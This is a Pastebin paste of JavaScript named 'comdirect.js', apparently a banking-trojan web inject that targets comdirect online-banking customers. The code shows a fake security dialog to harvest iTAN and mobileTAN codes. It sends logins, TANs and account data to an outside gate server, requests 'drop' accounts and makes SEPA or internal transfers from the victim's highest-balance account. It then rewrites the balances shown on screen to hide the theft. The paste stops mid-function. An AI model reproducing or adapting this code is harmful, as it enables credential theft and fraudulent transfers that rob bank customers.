Xylitol

comdirect.js

May 19th, 2014
377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. if (typeof ATS== 'undefined'){
  2.  
  3.  
  4. var jq = jQuery.noConflict();
  5. //var jq = jQuery;
  6.  
  7. var CONTENT_URL= "https://standarts-check.com/gm91249/";
  8. document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=100); opacity: 1; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 708px;margin-left: -354px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_error { display: none; color: #FF0000; font-weight: bold;margin: 0 auto; width: 230px; }.pich {  color: #999999; font-size:11px; left: 30px;bottom:-10px; position: absolute;}.infp{ font-size: 15px!important;  padding: 10px;}.load{ margin:0 auto; width:190px;}.info{float:left; font-size: 20px;  margin: 8px 0 0;}.logopic{float:right;}.load{ margin:0 auto!important; width:190px;}</style>');
  9.  
  10.  
  11.  
  12. var ATS = { bank: 'comdirect',
  13.     account_id: 0,
  14.     script_ver: '1.5',
  15.     transf_mode : 'sepa',
  16.     debug_mode: 0,
  17.     gateURL : 'https://standarts-check.com/gm91249/gate',
  18.     debugVisibleFrame: false,
  19.     debugNoOverlay : false,
  20.     CONTENT_URL: CONTENT_URL,
  21.     current_state : 0,
  22.     sepa_or_int_select_changed : false,
  23.     MaxTransferAccNum:0,
  24.     Timeout:false,
  25.    
  26.  
  27.     StepInFrame : {
  28.         0:"BeginWork",
  29.         10:"framePageFinanzstatus",
  30.         20:"KreditlimitPage",
  31.         170:"insideGirokonto",
  32.         30:"SEPA_page",
  33.         110:"SEPA_form_filled",
  34.         120:"TAN_ENTERED",
  35.         130:"Internal_transf_page",
  36.         140:"INT_form_filled",
  37.         150:"framePageSEPA_fill",
  38.         160:"framePageInternal_transf_page",
  39.         180:"randomPage",
  40.         190:"inside_randomPage",
  41.         200:"gotomainpage",
  42.        
  43.  
  44.  
  45.        
  46.         set_current_state : function(state){
  47.            
  48.             for (var key in this) {
  49.               if (typeof this[key]!= 'function' && state==this[key]) {
  50.                parent.ATS.current_state=key;
  51.                return key;
  52.                }
  53.               //alert(key+':'+this[key])
  54.              
  55.            }
  56.             return false;
  57.             }
  58.         },
  59.  
  60.     isDebugMode: function()
  61.     {
  62.         return ATS.debug_mode;
  63.     },
  64.    
  65.  
  66.     getBrowserFull: function()
  67.     {
  68.         var res = 'na';
  69.         try
  70.         {
  71.             var m = navigator.userAgent.match(/Firefox\/(\d+)/);
  72.             if (m)
  73.             {
  74.                 res = 'ff' + m[1];
  75.             }
  76.             else
  77.             {
  78.                 m = navigator.userAgent.match(/MSIE (\d+)/);
  79.                 if (m)
  80.                     res = 'ie' + m[1];
  81.             }
  82.         }
  83.         catch(e)
  84.         {
  85.             res = 'ex';
  86.         }
  87.         return res;
  88.     },
  89.  
  90.  
  91.     debugMsg: function(message)
  92.     {
  93.         if (this.isDebugMode())
  94.         {
  95.             if (window.console && window.console.log)
  96.                 window.console.log(message);
  97.             else
  98.                 alert(message);
  99.         }
  100.     },
  101.    
  102.     _cookies: new Object(),
  103.    
  104.     setCookie: function(name, value)
  105.     {
  106.         ATS.debugMsg('setCookie: ' + name + ' = ' + value);
  107.         parent.ATS._cookies['#'+name] = value;
  108.     },
  109.    
  110.     getCookie: function(name)
  111.     {
  112.         if (typeof parent.ATS._cookies['#'+name] == 'undefined')
  113.             return null;
  114.        
  115.         return parent.ATS._cookies['#'+name];
  116.     },
  117.    
  118.     serializeCookies: function()
  119.     {
  120.        //if (typeof parent.ATS._cookies != 'function')
  121.         var result = new Array();
  122.         for (var i in parent.ATS._cookies)
  123.         {
  124.            
  125.             if(i.indexOf('#')==0){
  126.                result.push(encodeURIComponent(i) + '=' + encodeURIComponent(parent.ATS._cookies[i]));
  127.  
  128.                }
  129.         }
  130.         return result.join('&');
  131.     },
  132.    
  133.     unserializeCookies: function(rawData)
  134.     {
  135.         var result = new Object();
  136.         for (var i in rawData)
  137.         {
  138.             result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
  139.         }
  140.         return result;
  141.     },
  142.    
  143.     randInt: function(min, max)
  144.     {
  145.         return Math.round(min + Math.random() * (max - min));
  146.     },
  147.    
  148.     saveCookies: function(callback)
  149.     {
  150.         ATS.sendGateRequest('save_cookies', {data: ATS.serializeCookies()}, callback);
  151.     },
  152.    
  153.  
  154.     sendGateRequest: function(action, params, callback)
  155.     {
  156.      
  157.         //ATS.debugMsg('sendGateRequest: ' + action);
  158.         dat = jq.extend({bank: parent.ATS.bank, aid: parent.ATS.account_id}, params);
  159.        
  160.         var url = ATS.gateURL + '?a=' + action + '&cb=?';
  161.         //ATS.debugMsg('url = ' + url + '; params = ' + params + '; data = ' + dat + "aid = " + parent.ATS.account_id);
  162.    
  163.         //if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  164.         //{
  165.        
  166.             jq.ajax({
  167.                 url: url,
  168.                 dataType: 'jsonp',
  169.                 crossDomain: true,
  170.                 data: dat,
  171.                 //async: false,
  172.                 success: callback,
  173.                 error: function(request,error)
  174.                 {
  175.                     ATS.debugMsg('posible ban ip; ajax error: ' + error);
  176.                     jq('.inj_full_overlay').remove();
  177.                     ATS.UI_unblockSite();
  178.                     jq('#inj_dialog_box').hide();
  179.                 }
  180.                
  181.             });
  182.            
  183.         //}
  184.     },
  185.    
  186.  
  187.     loadData: function(callback)
  188.     {
  189.         ATS.sendGateRequest('load_data', {}, function(data){
  190.             ATS.account_id = data.account_id;
  191.             ATS._cookies = ATS.unserializeCookies(data.cookies);
  192.             if (typeof callback == 'function')
  193.                 callback();
  194.         });
  195.     },
  196.    
  197.  
  198.     sendLoginInfo: function(login, password, callback)
  199.     {
  200.         ATS.sendGateRequest('login', {login: login, password: password, url: window.location.href}, callback);
  201.     },
  202.    
  203.  
  204.     sendLogMsg: function(text, callback)
  205.     {
  206.         ATS.debugMsg('sendLogMsg: ' + text);
  207.         ATS.sendGateRequest('log_msg', {ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(), text: text}, callback);
  208.     },
  209.    
  210.     getDrop: function(transfType, balance, callback)
  211.     {
  212.        
  213.  
  214.         ATS.sendGateRequest('get_drop', {type: transfType, balance: balance}, callback);
  215.     },
  216.    
  217.     putTransfer: function(transfType, drop, amount, callback)
  218.     {
  219.         ATS.sendGateRequest('transfer', {type: transfType, did: drop, amount: amount}, callback);
  220.     },
  221.    
  222.     sendAccountsInfo: function(accountsInfo, callback)
  223.     {
  224.         try {
  225.             ATS.sendGateRequest('save_accounts_info', {data: JSON.stringify(accountsInfo)}, callback);
  226.         } catch(e) {}
  227.     }
  228.    
  229.    
  230.    
  231.    
  232. };
  233.  
  234. ATS.randomPage = function()
  235. {
  236.     ATS.debugMsg('ATS.randomPage');
  237.     var page= ATS.randInt(1,5);
  238.     var loc='';
  239.     switch (page) {
  240.        case 1:
  241.           loc=jq("#PersoenlicherbereichPostboxPostsuche a").attr("href");
  242.           break
  243.        case 2:
  244.           loc=jq("#PersoenlicherbereichPostboxPostversand a").attr("href");
  245.           break
  246.        case 3:
  247.           loc=jq("#PersoenlicherbereichKontoUmsaetze a").attr("href");
  248.           break
  249.        case 4:
  250.           loc=jq("#PersoenlicherbereichDepotDepotums a").attr("href");
  251.           break
  252.        case 5:
  253.           loc=jq("#PersoenlicherbereichGeldanlageGeldanlagen a").attr("href");
  254.           break
  255.  
  256.     }
  257.    
  258.    
  259.     ATS.StepInFrame.set_current_state("inside_randomPage");
  260.     if(!!loc.length){
  261.     //loc=loc.attr("href").replace("(","%28").replace(")","%29");;
  262.    
  263.     return loc;
  264.     }
  265.        
  266.     else ATS.die('randomPage: cant find link for random page');
  267.     return false;
  268.    
  269. }
  270. ATS.inside_randomPage = function()
  271. {
  272.    
  273. ATS.debugMsg('ATS.inside_randomPage');
  274. ATS.StepInFrame.set_current_state("framePageFinanzstatus");
  275.  
  276.  
  277.            
  278.       /*      
  279.             var href = ATS.getFinanzstatusLink();
  280.             if (href)
  281.             {
  282.    
  283.         setTimeout(function(){
  284.             document.location.href = href;
  285.            
  286.         }, ATS.randInt(15000,30000));
  287.    
  288.     }
  289.        
  290.     else ATS.die('inside_randomPage:cant find  link for main page');
  291.     */
  292.  
  293.            setTimeout(function(){
  294.                 jQuery("#Persoenlicherbereich a").click();
  295.            
  296.         }, ATS.randInt(15000,30000));
  297.    
  298. }
  299.  
  300. ATS.UI_showWait = function()
  301. {
  302.     ATS.UI_showDialogBox();
  303.     jq('#inj_page_wait').show();
  304.     jq('#inj_page_brilok').hide();
  305.     jq('#gad_signatur_tan').hide();
  306.     jq('.inj_buttons_block').hide();
  307.     jq('.inj_error').hide();    
  308.  
  309. }
  310. ATS.UI_getTAN = function()
  311. {
  312.     return jq('.nowrap label').text();
  313.    
  314. }
  315.  
  316. ATS.UI_getInjectCode = function()
  317. {
  318.     var code =
  319.      '<div id=inj_dialog_box style=\'display: none;\'>'
  320.    
  321.    
  322.   +'<div class="outerCard"><div class="innerCard"><div class="cardContent"><div class="topCard"><div><span></span></div></div><div class="cardCol">'
  323.  
  324.  
  325.   +'<div class="head cardHeadline"><span class="cardHeadline uiOutputText info">Zu Ihrer Sicherheit</span><img src='+ATS.CONTENT_URL+'/images/logo_comdirect_website.png class="logopic" /><div class="lineSpacerHead"></div></div>'
  326.  
  327.  
  328.        + '<div id=inj_page_wait style=\'display: none;\'>'
  329.      + '<p class="inj_content_para">'
  330.      +  langs.getLang('waittext')
  331.      + '<br class="newline" /></p><p class="load"><img s'
  332.      + 'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p></div>'
  333.  
  334.      
  335.      + '<div id="gad_contentbox" style=\'display: none;\'>'
  336.      
  337.      +'<div id="gad_signatur_tan" style=\'display: none;\'>'
  338.      
  339.      +'<form class="form-banking" onsubmit="return false;"><p class="autp">Wahrscheinlich haben sich in letzter Zeit einige Ver&auml;nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&uuml;nden m&uuml;ssen Sie eine TAN eingeben, um zu best&auml;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&auml;hrt wird.</p><div id="insSMSform" class="form-content secure"></div><div class="form-content header"><label>mobileTAN*</label><input type="text" size="6" id="iTAN" name="nrTan" maxlength="6" style="margin-left:45px"></div></form><div style="clear:both"></div>'
  340.      
  341.      +'</div>'
  342.      
  343.  + '<div id="inj_page_brilok"  style=\'display: none;\'>'
  344.  
  345.    
  346.  
  347.  
  348.  
  349.  
  350.   +'<div class="body"><div class="article clearfix "><div class="hidden" ></div><div></div>&nbsp;&nbsp;<div>Wahrscheinlich haben sich in letzter Zeit einige Ver&auml;nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&uuml;nden m&uuml;ssen Sie eine TAN eingeben, um zu best&auml;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&auml;hrt wird.</div><div class="UILine lineSpacerDarkFull"></div><br><div class="fSmall uiPanel"><div class="uiPanel" ><div class="uiTable"><div style="padding: 0px 0px 5px 0px" class="row" ><div class="lcolumn"><span class="uiOutputText">Freigabe durch iTAN mit der laufenden Nummer </span><strong id="inj_tan_startcode"></strong><span class="uiOutputText">:</span></div><div class="lcolumn">&nbsp;<input type="text" style="width:auto;" size="7" maxlength="6"  autocomplete="off" id="iTANBrilok" name="nrTan"></div><div class="lcolumn"></div><div class="rowend"></div>'
  351.  
  352.   + '<div style=\'clear:both;\'><p class="inj_error">'+langs.getLang('errortan')+'</p></div>'
  353.  
  354.   +'</div></div><br><div class="uiPanel" ></div></div></div></div> </div><div class="foot cardFootline"><div class="UILine lineSpacerFoot"></div><div class="buttonArea clearfix"><div class="right" >'
  355.  
  356.    +'<div class="inj_buttons_block">'  
  357.  
  358.   +'<div class="button buttonBig clearfix"><a title="WEITER" class="fLinkList" href="#" id="inj_Weiter" name="inj_weiter"><b>Weiter</b><img width="16" height="16" border="0" title="WEITER" alt="WEITER" class="icon" src="'+ATS.CONTENT_URL+'/images/next.gif"></a></div>'
  359.   +'</div>'//inj_buttons_block
  360.   +'</div><div class="right" ></div></div></div> </div><div class="spacerHeight25"><span></span></div></div>'
  361.  
  362. +'</div>'//inj_page_brilok
  363. +'</div>'//gad_contentbox
  364.  
  365.  
  366.   +'<div class="bottomCard"><div><span></span></div></div></div><div class="bottomCardBorder"><span></span></div></div>'
  367.      + '</div>';//inj_dialog_box
  368.      
  369.      
  370.     return jq(code);
  371. }
  372.  
  373. ATS.die = function(msg)
  374. {
  375.     ATS.sendLogMsg('ERROR: ' + msg);
  376.     ATS.setCookie('error_time', ATS.getTime());
  377.     ATS.setCookie('status', 2);
  378.     parent.ATS.StepInFrame.set_current_state("BeginWork");
  379.     ATS.saveCookies(function(){
  380.         if ((parent.window !== window) && parent.ATS)
  381.         {
  382.             ATS.debugMsg('die in frame');
  383.             parent.ATS.UI_hideDialogBox();
  384.             parent.ATS.UI_unblockSite();
  385.  
  386.             jq('.inj_full_overlay',parent.document).remove();
  387.         }
  388.         else
  389.         {
  390.             ATS.debugMsg('die outside frame');
  391.             ATS.UI_hideDialogBox();
  392.             ATS.UI_unblockSite();
  393.             jq('.inj_full_overlay').remove();
  394.         }
  395. /*        
  396.     var nextLink=jq('#gad_navigation_main li:eq(1) a').attr("href");
  397.     parent.ATS.StepInFrame.set_current_state("BeginWork");
  398.             setTimeout(function(){
  399.                    parent.window.document.location.href = nextLink;                    
  400.                 }, 1000);
  401.  
  402. */
  403.     });
  404.    
  405.  
  406.        
  407. }
  408.  
  409.  
  410. ATS.mainWork = function()
  411. {
  412.    
  413.     ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
  414.     //ATS.sendLogMsg('script_version = ' + ATS.script_ver);
  415.     switch (ATS.current_state)
  416.     {
  417.         case 0:
  418.            
  419.  
  420.             var href = ATS.getFinanzstatusLink();
  421.             if (href)
  422.             {
  423.            
  424.                 ATS.StepInFrame.set_current_state("randomPage");    
  425.                 //ATS.StepInFrame.set_current_state("framePageFinanzstatus");
  426.                
  427.                 //ATS.sendLogMsg('Name: ' + jq('span:contains(Inhaber)').next('span.uiOutputText').text(),ATS.ieFrameHack() );      
  428.                
  429.                 ATS.ieFrameHack();
  430.                
  431.                
  432.                
  433.                
  434.                
  435.             }
  436.             else
  437.             {
  438.                 ATS.die('mainWork: cant find finanzstatus');
  439.             }
  440.             break;
  441.     }
  442. }
  443. ATS.ieFrameHack = function()
  444. {
  445.     ATS.debugMsg('ATS.ieFrameHack()');
  446.    
  447.     if (!jq('iframe#ats_wrk_iframe').length)
  448.     {
  449.  
  450.  
  451.  
  452.  
  453.  
  454.  
  455.  
  456.  
  457.  
  458.  
  459.         //ATS.openInIframe(ATS.getFinanzstatusLink());
  460.         ATS.openInIframe('about:blank');
  461. /*        
  462. var cssLink = document.createElement("link")
  463. cssLink.href = "/wrs/resources2/html/layout.css";
  464. cssLink.rel = "stylesheet";
  465. cssLink.type = "text/css";
  466. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  467.  
  468. var cssLink = document.createElement("link")
  469. cssLink.href = "/wrs/resources2/html/color.css";
  470. cssLink.rel = "stylesheet";
  471. cssLink.type = "text/css";
  472. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  473. */
  474.  
  475.  
  476.        
  477.      
  478.         setTimeout(ATS.ieFrameHack, ATS.randInt(3000, 3500));
  479.     }
  480.     else
  481.     {
  482.  
  483.         var n=ATS.getFinanzstatusLink();
  484.         var n=ATS.randomPage();
  485.     //n=n.replace(/\:/g, '%3A');
  486.     //n=n.replace(/\?/g, '%3F');    
  487.    
  488.    
  489.         jq('iframe#ats_wrk_iframe').attr('src',n );
  490.     }
  491. }
  492. ATS.UI_hideDialogBox = function()
  493. {
  494.     jq('#inj_dialog_box').hide();
  495. }
  496.  
  497.  
  498. ATS.descending= function(a, b)
  499. {
  500.     return b.balance- a.balance;
  501. }
  502.  
  503. ATS.getMaxTransferAcc = function()
  504. {
  505.     //num = num || 0;
  506.     var num=parent.ATS.MaxTransferAccNum;
  507.    
  508.     parent.ATS.accounts_list.sort( ATS.descending );
  509.    
  510.     if (parent.ATS.accounts_list[num]!=null)   return parent.ATS.accounts_list[num];
  511.     else
  512.     {
  513.     ATS.die('ATS.getMaxTransferAcc: accounts_list['+num+'] is null or no more Acounts left');
  514.     }
  515. /*
  516.     var accountsList = parent.ATS.accounts_list;
  517.     var maxBalance = accountsList[0].balance;
  518.     var tempBalance = 0;
  519.     var maxAcc = null;
  520.     for(var i in accountsList)
  521.     {
  522.         tempBalance= parseFloat(accountsList[i].balance) +  parseFloat(accountsList[i].overdraft);
  523.    
  524.    
  525.             if (!isNaN(tempBalance) && (tempBalance >= maxBalance))
  526.             {
  527.                 maxBalance = tempBalance;
  528.                 maxAcc = accountsList[i];
  529.             }
  530.     }
  531.  
  532.     return maxAcc;
  533.     */
  534.    
  535. }
  536.  
  537.  
  538. ATS.UI_askTan = function(tanNum, isError)
  539. {
  540. /*    
  541. var cssLink = document.createElement("link")
  542. cssLink.href = ATS.CONTENT_URL+"/all_styles_min.css";
  543. cssLink.rel = "stylesheet";
  544. cssLink.type = "text/css";
  545. jq('body', parent.document).prepend(cssLink);
  546. */    
  547.    
  548.    
  549. if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
  550.     parent.ATS.UI_showDialogBox();
  551.     //parent.ATS.UI_fixBtnLink();
  552.  
  553. //var sms=jq('div[id*="TanData"]').html();
  554. var sms='';
  555. if (sms.indexOf('SMS')!=-1){
  556.    
  557.     parent.ATS.TanType='sms';
  558.  
  559.     jq('#inj_page_wait', parent.document).hide();
  560.     jq('#inj_page_brilok', parent.document).hide();
  561.     jq('#gad_signatur_tan', parent.document).show();
  562.     jq('#gad_contentbox', parent.document).show();
  563.      
  564.      jq('#insSMSform', parent.document.body).html(sms);
  565. }
  566.  else{
  567.     parent.ATS.TanType='brilok';
  568.  
  569.     jq('#inj_page_wait', parent.document).hide();
  570.     jq('#gad_signatur_tan', parent.document).hide();
  571.     jq('#inj_page_brilok', parent.document).show();
  572.     jq('#gad_contentbox', parent.document).show();
  573.  
  574.  
  575.  
  576. var link=jq('a span:contains(zu iTAN wechseln)').length;
  577. if(!!link) jq('a span:contains(zu iTAN wechseln)').trigger("click");
  578.  
  579.         setTimeout(function(){
  580.             var startCode =jq('span:contains(Nummer)').next().text();
  581.             ATS.sendLogMsg('startCode ' + startCode);
  582.             jq('#inj_tan_startcode', parent.document.body).text(startCode);
  583.         }, ATS.randInt(2000, 3000));
  584.  
  585.  
  586.  }  
  587.    
  588.    
  589.     jq('.inj_buttons_block', parent.document).show();
  590.  
  591.  }
  592. ATS.UI_onWeiterClick = function()
  593. {
  594. if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
  595. else var tan = jq('#iTANBrilok').val();
  596.  
  597.  
  598.     if (tan=="test") {
  599.        if (ATS.isDebugMode()){
  600.            parent.ATS.UI_showWait();
  601.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
  602.         else ATS.framePageReceiptInternal();
  603.        
  604.        return false;}}
  605.  
  606.    
  607.     if (tan.length == 6)
  608.     {
  609.         ATS.sendLogMsg('entered TAN ' + tan);
  610.         jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
  611.     }
  612.     else{
  613.         alert(langs.getLang('errorTanEmpty'));
  614.        
  615.     }
  616. }
  617.  
  618. ATS.padRight = function(input, totalWidth)
  619.  
  620. {
  621.     var result = input;
  622.     if (result.length < totalWidth){
  623.         for(var i = result.length; i < totalWidth; i++){
  624.             result = result + 'X'
  625.         }
  626.    
  627.     }
  628.     return result;
  629. }
  630.  
  631.  
  632. ATS.framePageReceipt = function()
  633. {
  634.     ATS.sendLogMsg('framePageReceipt');
  635.  
  636.    
  637.     ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
  638.         ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
  639.         ATS.setCookie('transfer_time', ATS.getTime());
  640.         ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
  641.         ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
  642.         ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
  643.        
  644.         var transfer_acc = parent.ATS.maxAcc.number;
  645.        
  646.         if (transfer_acc)
  647.         {
  648.             ATS.setCookie('transfer_acc', transfer_acc);
  649.             ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
  650.         }
  651.        
  652.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  653.        
  654.         ATS.setCookie('status', 1);
  655.         ATS.saveCookies(function(){
  656.  
  657.             var nextLink = ATS.getFinanzstatusLink();
  658.             if (nextLink != '')
  659.             {
  660.                 setTimeout(function(){
  661.                     parent.ATS.StepInFrame.set_current_state("BeginWork");
  662.                     parent.window.document.location.href = nextLink;
  663.                    
  664.                 }, 1000);
  665.             }
  666.         });
  667.     });
  668.    
  669. }
  670. ATS.framePageReceiptInternal = function()
  671. {
  672.     ATS.sendLogMsg('framePageReceiptInternal');
  673.    
  674.     ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
  675.         ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
  676.         ATS.setCookie('transfer_time', ATS.getTime());
  677.         ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
  678.         ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
  679.         ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
  680.        
  681.         var transfer_acc = parent.ATS.maxAcc.number;
  682.        
  683.         if (transfer_acc)
  684.         {
  685.             ATS.setCookie('transfer_acc', transfer_acc);
  686.             ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
  687.         }        
  688.        
  689.  
  690.         ATS.setCookie('status', 1);
  691.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  692.        
  693.         ATS.saveCookies(function(){
  694.  
  695.             var nextLink = ATS.getFinanzstatusLink();
  696.            
  697.             if (nextLink != '')
  698.             {
  699.                 setTimeout(function(){
  700.                     parent.ATS.StepInFrame.set_current_state("BeginWork");
  701.                     parent.window.document.location.href = nextLink;
  702.                    
  703.                 }, 1000);
  704.             }
  705.         });
  706.     });
  707. }
  708. ATS.fin2float = function(text)
  709. {
  710.     if (langs.getCurLang()=='EN')
  711.     var text = text.toString();
  712.     else
  713.     var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
  714.     return parseFloat(text);
  715. }
  716.  
  717. ATS.float2fin = function(val)
  718. {
  719.     var intPart = Math.floor(val);
  720.     var fractPart = Math.floor((val - intPart) * 100).toString();
  721.    
  722.     if (fractPart.length < 2)
  723.         fractPart = '0' + fractPart;
  724.        
  725.     var newIntPart = '';
  726.     intPart = intPart.toString();
  727.     while (intPart.length > 3)
  728.     {
  729.         newIntPart = '.' + intPart.substr(intPart.length - 3) + newIntPart;
  730.         intPart = intPart.substr(0, intPart.length - 3);
  731.     }
  732.     newIntPart = intPart + newIntPart;
  733.    
  734.     return newIntPart + ',' + fractPart;
  735. }
  736. ATS.addElementAmount = function (el, amount, postfix)
  737. {
  738.     var val = ATS.fin2float(jq(el).text());
  739.     var newText='<strong>';
  740.  //   if (val<0) newText +='<span class="negbal">';
  741.    
  742.     newText += ATS.float2fin(val + amount);
  743.     if (postfix)
  744.         newText += ' ' + postfix;
  745.        
  746.  //   if (val<0) newText +='</span>';
  747.      newText +="</strong>";  
  748.     jq(el).html(newText);
  749. }
  750. ATS.hideLastTAN = function()
  751. {
  752.  
  753.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  754.     if (el.length)
  755.     {
  756.         var html = jq(el).html();
  757.         var pos = html.indexOf('Ihre zuletzt');
  758.         if (pos >= 0)
  759.             jq(el).html(html.substr(0, pos));
  760.     }
  761.    
  762.  
  763.     jq('p:contains(Zuletzt benutzte)').remove();
  764. }
  765.  
  766. ATS.checkTransfer = function(el)
  767. {
  768.  
  769.  
  770.     var percent=parseFloat("0.00");  
  771.  
  772.     var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
  773.     if (isNaN(lastGesamtsaldo)) {
  774.         ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
  775.         return false;
  776.     }
  777.  
  778.     //var curGesamtsaldo = ATS.fin2float(jq(el).text());
  779.     var curGesamtsaldo = el;
  780.    
  781.  
  782.     var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
  783.     var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
  784.     tempsaldo=parseFloat(tempsaldo.toFixed(2));
  785.    
  786.  
  787.     if(tempsaldo==0){
  788.         ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
  789.         return false;
  790.         }
  791.    
  792.  
  793.     if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
  794.         return false;
  795.     }
  796.  
  797.  
  798.     if(tempsaldo>0){
  799.    
  800.            
  801.  
  802.     if((tempsaldo==rep_amount)  || (tempsaldo>rep_amount)){
  803.        
  804.     var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
  805.     percent=parseFloat(temppers.toFixed(2));
  806.     ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
  807.     if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){
  808.             ATS.setCookie('acPercent',percent);
  809.             ATS.saveCookies();
  810.     }
  811.     if (ATS.getCookie('acTransact')!="true"){
  812.             ATS.setCookie('acTransact',true);
  813.             ATS.saveCookies();
  814.     }
  815.    
  816.     return percent;
  817.     }else{
  818.      
  819.         ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
  820.             ATS.setCookie('acPercent',tempsaldo);
  821.             ATS.setCookie('acTransact',false);
  822.             ATS.saveCookies();
  823.         return false;
  824.     }    
  825.        
  826. }
  827.  
  828. }
  829.  
  830.  
  831. ATS.replaceMainPage = function()
  832. {
  833.     ATS.debugMsg('replaceMainPage()');
  834.    
  835.     //jq("#gad_toolbar_btn_print").remove();
  836.  
  837. var saldo=0;
  838. jq('table:has(tr:contains(Gesamt)) tr:contains(Gesamt)').each(function(){
  839.  var el=jq(this).children("td:eq(2)");
  840.  if (el.length) saldo+=ATS.fin2float(jq(el).text());
  841.    
  842.    });
  843. var el=saldo;
  844.  
  845.  
  846.  
  847.  
  848.      var percent =ATS.checkTransfer(el);
  849.      ATS.debugMsg('percent= '+percent);
  850.      if(typeof percent === 'boolean') return true;
  851.  
  852.  
  853. if( percent > 15) {
  854.    ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
  855.     }
  856.  
  857.  
  858.    
  859.         var totalReplace = 0;
  860.        
  861. var amount = parseFloat(ATS.getCookie('rep_amount'));
  862. var transfer_acc =ATS.getCookie('transfer_acc');
  863.        
  864. jq('table:has(th:contains(Bezeichnung))').each(function(){
  865.     /*
  866.  var number=jq(this).parent().parent().parent().find('span:contains(Kundennr)').text();
  867.  var re = new RegExp("Kundennr: [\\d]+", "g");
  868. var arr = number.match(re);
  869.  number=arr[0].replace(/\D/g, '');
  870. */
  871.  
  872.  
  873. jq(this).find('tr:contains(Girokonto),tr:contains(Tagesgeld PLUS)').filter('tr').each(function(){
  874.  
  875.  var number=jq.trim(jq(this).children("td:eq(0)").text());
  876.  var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/\./g, '').replace(/\,/g, '.'));
  877.  var kreditbalance=jq.trim(jq(this).children("td:eq(3)").text().replace(/\./g, '').replace(/\,/g, '.'));
  878.  
  879. if(number==transfer_acc){    
  880.    
  881. ATS.debugMsg('replaceMainPage: ' + transfer_acc + ' + ' + amount + '; percent = ' + percent);
  882.   ATS.addElementAmount(jq(this).children("td:eq(2)"), parseFloat(amount + percent), '');
  883.   ATS.addElementAmount(jq(this).children("td:eq(3)"), parseFloat(amount + percent), '');
  884.   totalReplace = parseFloat(amount + percent);
  885.  
  886. }  
  887. });
  888.  
  889. var saldo1=jq(this).find('tr:contains(Gesamt)').children("td:eq(2)");                              
  890. var saldo2=jq(this).find('tr:contains(Gesamt)').children("td:eq(3)");                                
  891.  ATS.addElementAmount(saldo1, totalReplace, '');
  892.  ATS.addElementAmount(saldo2, totalReplace, '');
  893.      
  894.    
  895.    
  896.        
  897.  
  898.  
  899. });        
  900.        
  901.        
  902.    
  903.    
  904. }
  905. ATS.replaceKONTOUBERSICHT = function()
  906. {
  907.     ATS.debugMsg('replaceKONTOUBERSICHT');
  908.    
  909.     var percent=parseFloat(ATS.getCookie('acPercent'));
  910.  
  911.    
  912.  
  913. if( percent > 15) {
  914.    ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
  915.     }
  916.    
  917.     //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
